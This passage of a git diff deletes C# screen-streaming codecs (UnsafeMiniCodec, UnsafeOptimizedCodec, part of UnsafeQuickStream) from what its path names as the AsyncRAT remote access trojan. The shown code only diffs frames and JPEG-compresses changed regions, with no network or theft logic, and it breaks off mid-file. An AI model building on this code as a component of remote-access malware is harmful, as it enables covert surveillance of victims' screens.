this.FrameIndex = FrameIndex; - } - - public override string ToString() - { - return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex; - } - } - - private class Frame - { - public decimal[,] HashBlocks { get; private set; } - - public Frame(int ImageWidth, int ImageHeight) - { - this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2]; - } - - public void AddHashBlock(int x, int y, decimal Hash) - { - x = x / UnsafeCachedStreamCodec.CheckBlock.Width; - y = y / UnsafeCachedStreamCodec.CheckBlock.Height; - this.HashBlocks[x, y] = Hash; - } - public decimal GetHashBlock(int x, int y) - { - x = x / UnsafeCachedStreamCodec.CheckBlock.Width; - y = y / UnsafeCachedStreamCodec.CheckBlock.Height; - return this.HashBlocks[x, y]; - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs deleted file mode 100644 index b4b0b8c..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs +++ /dev/null @@ -1,365 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeMiniCodec : IUnsafeCodec - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private byte[] EncodeBuffer; - private Bitmap decodedBitmap; - - private Size CheckBlock { get { return new Size(50, 50); } } - - public UnsafeMiniCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - lock (this.ImageProcessLock) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support - switch (Format) - { - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format + " is not supported."); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - //first frame - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - if (this.EncodedFormat != Format) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight) - throw new Exception("Scan Area Width/Height cannot be greater then the encoded image"); - - - List Blocks = new List(); //all the changes - fixed (byte* encBuffer = EncodeBuffer) - { - //1. Check for the changes in height - for (int y = ScanArea.Y; y < ScanArea.Height; y++) - { - Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width); - if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) - { - int index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - } - - //2. Capture all the changes using the CheckBlock - List finalUpdates = new List(); - for (int i = 0; i < Blocks.Count; i++) - { - Rectangle scanBlock = Blocks[i]; - - //go through the Blocks - for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height) - { - for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width) - { - int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x; - int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y; - Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - //scan the block from Top To Bottom and check for changes - bool FoundChanges = false; - for (int blockY = y; blockY < y + blockHeight; blockY++) - { - int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth); - if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) - { - FoundChanges = true; - break; - } - } - - if (FoundChanges) - { - int index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - } - } - } - - //maybe a too hard algorithm but oh well - SortedList> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows(); - List FinalTemp = new List(); - - for (int i = 0; i < Array.Values.Count; i++) - { - FinalTemp.AddRange(Array.Values[i].Values); - } - - //fixup the height - for (int i = 0; i < FinalTemp.Count; ) - { - if (FinalTemp.Count == 1) - { - FinalTemp.Add(FinalTemp[i]); - break; - } - - if (i + 1 < FinalTemp.Count) - { - Rectangle curRect = FinalTemp[i]; - Rectangle nextRect = FinalTemp[i + 1]; - if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width) - { - FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height); - FinalTemp.RemoveAt(i + 1); - } - else - { - i++; - } - } - else - { - break; - } - } - - //copy changes to the EncodeBuffer and Process the Output - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < FinalTemp.Count; i++) - { - Rectangle rect = FinalTemp[i]; - int blockStride = PixelSize * rect.Width; - - //copy changes to EncodeBuffer - for (int y = rect.Y; y < rect.Y + rect.Height; y++) - { - int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width); - NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes - } - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - Blocks.Clear(); - } - } - } - - public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs deleted file mode 100644 index e4df368..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs +++ /dev/null @@ -1,473 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeOptimizedCodec : IUnsafeCodec - { - private class PopulairPoint - { - public Rectangle Rect; - public int Score; - public Stopwatch LastUpdate; - - public PopulairPoint(Rectangle rect) - { - this.Rect = rect; - this.Score = 0; - this.LastUpdate = Stopwatch.StartNew(); - } - } - - public override ulong CachedSize - { - get; - internal set; - } - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize; } - } - - public Size CheckBlock { get; private set; } - private object ImageProcessLock = new object(); - private byte[] EncodeBuffer; - private Bitmap decodedBitmap; - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private List populairPoints; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - private Stopwatch ScreenRefreshSW = Stopwatch.StartNew(); - - //options - /// If a part in the image is been changing for the last x milliseconds it will be seen as a video - public uint AliveTimeForBeingVideo = 5000; - /// This will check if the video went away or stopped playing so it will refresh the other parts in the image - public uint ScreenRefreshTimer = 2000; - /// The size for being a video, if bigger or equal to the VideoScreenSize it must be a video - public Size VideoScreenSize = new Size(100, 100); - - /// - /// Initialize a new object of UnsafeOptimizedCodec - /// - /// The quality to use between 0-100 - public UnsafeOptimizedCodec(int ImageQuality = 100) - : base(ImageQuality) - { - this.populairPoints = new List(); - this.CheckBlock = new Size(15, 1); - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - lock (ImageProcessLock) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer) - { - for (int i = 0; i < populairPoints.Count; i++) - { - if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5) - { - populairPoints.RemoveAt(i); - } - } - ScreenRefreshSW = Stopwatch.StartNew(); - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (this.EncodedFormat != Format) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - - List Blocks = new List(); - int index = 0; - - Size s = new Size(ScanArea.Width, CheckBlock.Height); - Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); - - int lasty = ScanArea.Height - lastSize.Height; - int lastx = ScanArea.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - List finalUpdates = new List(); - - PopulairPoint[] points = GetPossibleVideos(); - if (points.Length > 0) - { - ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y); - } - - s = new Size(ScanArea.Width, s.Height); - fixed (byte* encBuffer = EncodeBuffer) - { - if (points.Length == 0) //only scan if there is no video - { - for (int y = ScanArea.Y; y != ScanArea.Height; ) - { - if (y == lasty) - s = new Size(ScanArea.Width, lastSize.Height); - cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); - - int offset = (y * Stride) + (ScanArea.X * PixelSize); - if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) - { - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - x = ScanArea.X; - while (x != ScanArea.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - - cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); - bool FoundChanges = false; - int blockStride = PixelSize * cBlock.Width; - - for (int j = 0; j < cBlock.Height; j++) - { - int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X); - if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0) - FoundChanges = true; - NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - } - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (FoundChanges) - { - index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - x += s.Width; - } - } - } - else - { - finalUpdates.Add(points[0].Rect); - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) - { - PopulairPoint point = null; - if (GetPopulairPoint(rect, ref point)) - { - point.Score++; - point.LastUpdate = Stopwatch.StartNew(); - //Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); - } - else - { - populairPoints.Add(new PopulairPoint(rect)); - } - } - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - - /*for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - int blockStride = PixelSize * rect.Width; - buffer = new byte[blockStride * rect.Height]; - - fixed (byte* ptr = buffer) - { - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - - if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) - { - PopulairPoint point = null; - if (GetPopulairPoint(rect, ref point)) - { - point.Score++; - point.LastUpdate = Stopwatch.StartNew(); - Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); - } - else - { - populairPoints.Add(new PopulairPoint(rect)); - } - } - } - } - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 5); - }*/ - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - Blocks.Clear(); - ms.Close(); - ms.Dispose(); - } - } - - public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed(byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint) - { - for (int i = 0; i < populairPoints.Count; i++) - { - PopulairPoint point = populairPoints[i]; - if (point.Rect.Width == rect.Width && - point.Rect.Height == rect.Height && - point.Rect.X == rect.X && - point.Rect.Y == rect.Y) - { - PopuPoint = populairPoints[i]; - return true; - } - } - return false; - } - - private PopulairPoint[] GetPossibleVideos() - { - List points = new List(); - for (int i = 0; i < populairPoints.Count; i++) - { - if (populairPoints[i].Score > 30) - { - points.Add(populairPoints[i]); - } - } - return points.ToArray(); - } - } -} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs deleted file mode 100644 index 0719bd9..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs +++ /dev/null @@ -1,285 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeQuickStream : IUnsafeCodec - { - public override ulong CachedSize { get; internal set; } - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private ulong[] EncodeBuffer; - - private int BlockWidth = 0; - private int BlockHeight = 0; - private Bitmap decodedBitmap; - - public List VerifyPoints = null; - - public Size CheckBlock { get; private set; } - public UnsafeQuickStream(int ImageQuality = 100) - : base(ImageQuality) - { - this.CheckBlock = new Size(50, 50);//width must be bigger then 3 - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = InputSize.Width * PixelSize; - RawLength = Stride * InputSize.Height; - - - if (EncodedWidth == 0 && EncodedHeight == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = OutputRect.Width; - this.EncodedHeight = OutputRect.Height; - - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - return; - } - - List Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width); - - VerifyPoints = Points; - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - for (int i = 0; i < Points.Count; i++) - { - Rectangle rect = Points[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - } - - private unsafe List ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth) - { - if (EncodeBuffer == null) - { - this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width)); - this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height)); - int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth)); - this.EncodeBuffer = new ulong[TotalBlocks]; - } - - List points = new List(); - int StartScan = Scan0.ToInt32(); - - for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height) - { - if (y + CheckBlock.Height > OutputRect.Height) - break; - - for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width) - { 